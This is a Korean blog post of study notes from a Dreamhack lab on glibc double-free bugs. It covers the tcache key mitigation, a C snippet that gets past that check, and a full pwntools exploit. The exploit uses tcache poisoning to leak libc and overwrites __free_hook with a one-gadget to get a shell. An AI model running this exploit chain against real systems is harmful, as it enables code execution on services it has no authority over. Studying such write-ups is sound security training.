System Hacking

Double Free Bug | dreamhack

burrri 2024. 3. 17. 05:20

Memory Corruption : Double Free Bug

: free로 청크 해제시 tcache나 bins에 추가하여 관리 - 다시 유사크기 재요청 시에 청크 재할당 by 이중 원형 연결리스트 탐색

:이때! free로 해제한 청크로 다시 free할 때 발생하는 현상

 

free : 청크를 추가 / malloc은 청크를 꺼냄

=> 임의의 청크 1개에 대해 free를 두번이상 적용 => 청크를 free list (tcache / bins 등) 에 여러번 추가할 수 있음을 의미

==> 중복 청크 (duplicated) free list 를 이용하면 임의 주소에 청크를 할 수 있는 취약점 : DFB 취약점  

 

Double Free Bug (DFB)

같은 청크를 두 번 해제할 수 있는 버그 

: 공격자에게 임의 주소 쓰기, 읽기, 실행, 서비스 거부 등의 수단으로 악용 가능 

: 원인 - dagngling pointer

 

DFB 를 통해 duplicated free list  가능 ㅎ...

free list들의 각 청크는 fd(자신 이후 해제 청크), bk (이전 해제 청크) 에 의해 연결 like node

 

해제된 청크에서 fd, bk값을 저장하는 공간은 할당된 청크에서 데이터 저장에 사용된다. 

=> freelist에 중복해서 포함된다면, 철번째 재할당에서 fd, bk를 조작하여 freelist에 임의 주소로 포함시킬 수 o

 

Tache Double Free

청크 두번 -> 비정상 종료

 

Mitigation for Tcache DFB

정적 패치 분석 ( tcache 보호기법 )

tcache_entry 

key pointer를 추가하여 중복을 방지

: tcache_entry는 해제된 tcache 청크들이 갖는 구조로 fd는 next로 대체, LIFO로 사용되므로 bk는 x

 

tcache_put

해제한 청크를 tcache에 추가하는 함수 

: 해제되는 청크의 key에 tcache(구조체 변수) 라는 값을 대입   

 

tcache_get

tcache에 연결된 청크를 재사용할 때 다시 get하는 함수

: 재사용하는 key의 값에 NULL 대입

 

_int_free

: 청크를 해제할 때 호출되는 함수

: 재할당하려는 청크의 key값이 tcache이면 DFB가 발생했다고 여겨 프로그램 흡수

 

동적 분석

$heap : 청크 정보 조회

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555756000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x555555756250
Size: 0x61

Top chunk | PREV_INUSE
Addr: 0x5555557562b0
Size: 0x20d51

malloc(0x 50)으로 생성한 chunk의 주소 : 0x555555756250

 

pwndbg > x /4gx 0x555555756250

해당 메모리 덤프 : 데이터 존재x

 

+ 이후 참조를 위한 gdb 변수 설정법

pwndbg > set $chunk=(tcache_entry *) 0x555555756250

 

=>free 할때 까지 진행하다가 free 이후에 break걸고 분석, chunk 변수 출력 시 다음과 같은 결과를 얻는다. 

 

chunk의 key값이 0x555555756010 으로 지정되어 있다.

tcache_perthread에 tcache들이 저장되기에 

이 주소의 메모리 값을 조회시에 해제한 chunk의 주소가 entry에 포함

 

-> 다시 실행하면 key값을 변경하지 않고 다시 free 호출하므로 abort

 

 

우회 방법 

위의 방법에서 해제된 청크의 key값을 1비트라도 바꿀 수 있다면, 보호기법을 우회할 수 있다.

 

Tcache Duplication

tcache에 같은 청크가 두 번 연결되는 것

:tcache에 적용된 double free 보호기법을 우회하여 DFB를 트리거하는 공격 

#include <stdio.h>
#include <stdlib.h>
int main() {
  void *chunk = malloc(0x20);
  printf("Chunk to be double-freed: %p\n", chunk);
  free(chunk);
  *(char *)(chunk + 8) = 0xff;  // manipulate chunk->key
  free(chunk);                  // free chunk in twice
  printf("First allocation: %p\n", malloc(0x20));
  printf("Second allocation: %p\n", malloc(0x20));
  return 0;
}

분명히 free(chunk)를 두번이나 반복하여 key값에 의해서 abort가 일어나야하지만 

chunk +8 바이트의 포인터 값 (key값)을 변조하므로써 우회하였다.


Tache Poisoning

Tcache Poisoning

tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법

: DFB를 이용하여 free list에 중복으로 연결된 청크를 재할당 -> 청크가 해제인 청크인 동시에 할당된 청크 

=> 중첩 상태를 악용해 임의 주소에 청크 할당 가능

=> 임의 주소 데이터 읽기 (AAR)  및 임의 주소 데이터 쓰기 (AAW) 가능

 

원래는 fd, bk는 조작 불가능하지만 중첩상태이기에  data와 fd, bk가 중첩된 상태 => 조작가능!

 

- amd64 (64bit)

- Full RELRO, NX 활성화

- canary, PIE 비활성화 

 

 

주요 코드 분석

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}

- 메모리 해제하는 case 2 에서 메모리를 해제 후 chunk포인터 초기화x => DFB 취약점

- 이를 이용하여 case 4에서 다시 가리켜서 조작할 수 있다.

 

시나리오

(목표) hook을 덮어서 실행 흐름 조작 - 셸 획득 

AAR 로 libc 매핑 주소, __free/malloc_hook 의 주소 get - AAW로 원 가젯 주소 overwrite

Tcache Poisoning을 사용하여 exploit해보자. 

1.  Tcache Poisoning
AAR,W를 위해 사용 
-> 적당한 크기의 청크를 할당하고 key값의 조작 후 다시 free시에 duplication으로 중복 상태
=> fd, bk 조작

2. leak libc
stdin, stdout : libc 내부의 IO_2_1_stdin / stdout 를 가리키는 포인터 변수 
-> 한 변수의 값을 읽고, offset을 구해서 libc의 베이스 주소 겟

(전역 변수 bss에 위치 - PIE적용X로 포인터의 주소는 고정)
-> tcache poisoning으로 포인터 변수의 주소에 청크를 할당하자.

3. Hook overwrite to get shell 
libc 매핑 주소 얻으면 여기에 원 가젯의 주소와 __free_hook주소를 계산하여 
__free_hook에 청크 할당, 그 청크에 적절한 원 가젯 주소 입력, free 호출  => 셸획득 

 

 

Exploit

#!/usr/bin/env python3
# Name: tcache_poison.py
from pwn import *

p = remote('.host3.dreamhack.games',20061)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def slog(symbol, addr): return success(symbol + ': ' + hex(addr))

# size만큼 data 할당 
def alloc(size, data):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b':', str(size).encode())
    p.sendafter(b':', data)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print_chunk():
    p.sendlineafter(b'Edit\n', b'3')

def edit(data):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b':', data)

################################################################
# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty

# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()

# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A -> ...
edit(b'B'*8 + b'\x00') # key값 변경 -> DFB 우회 
free() #중복 상태?

# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')

# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`

print_chunk()
p.recvuntil(b'Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432

slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)

# Overwrite the `__free_hook` with the address of one-gadget

# Initial tcache[0x50] is empty.
# tcache[0x50]: Empty

# tcache[0x50]: chunk B
alloc(0x40, b'dreamhack') # chunk B
free()

# tcache[0x50]: chunk B -> chunk B -> ...
edit(b'C'*8 + b'\x00')
free()

# tcache[0x50]: chunk B -> __free_hook
alloc(0x40, p64(fh))

# tcache[0x50]: __free_hook
alloc(0x40, b'D'*8)

# __free_hook = the address of one-gadget
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()

 

 

'System Hacking' 카테고리의 다른 글

command injection  (0) 2024.03.23
Logical Bug : Type Error  (0) 2024.03.22
Use After Free | dreamhack  (1) 2024.03.17
Format String Bug | dreamhack  (1) 2024.03.17
Out of bounds | dreamhack  (0) 2024.03.17